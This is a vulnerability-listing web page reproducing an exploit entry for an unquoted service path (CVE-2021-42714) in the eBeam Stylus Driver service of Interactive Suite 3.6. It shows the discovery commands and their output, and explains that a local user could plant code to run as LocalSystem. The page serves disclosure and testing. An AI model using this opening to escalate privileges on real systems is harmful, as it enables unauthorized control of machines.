Interactive Suite 3.6 Unquoted Service Path

CVE Category Price Severity
CVE-2021-42714 CWE-428 $5000 High
Author Risk Exploitation Type Date
Unknown High Local 2021-03-16
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.71722 0.84935

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Interactive Suite 3.6 Unquoted Service Path
# Exploit Title: Interactive Suite 3.6 - 'eBeam Stylus Driver' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2021-03-14
# Vendor Homepage:
# Software Link:
# Tested Version: 3.6
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "eBeam" | findstr /i /v """

eBeam Stylus DrivereBeam Stylus DriverC:\Program Files (x86)\Luidia\eBeam Stylus Driver\eBeam_Stylus_Driver.exeAuto

# Service info:

C:\>sc qc "eBeam Stylus Driver"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: eBeam Stylus Driver
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Luidia\eBeam Stylus Driver\eBeam_Stylus_Driver.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : eBeam Stylus Driver
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum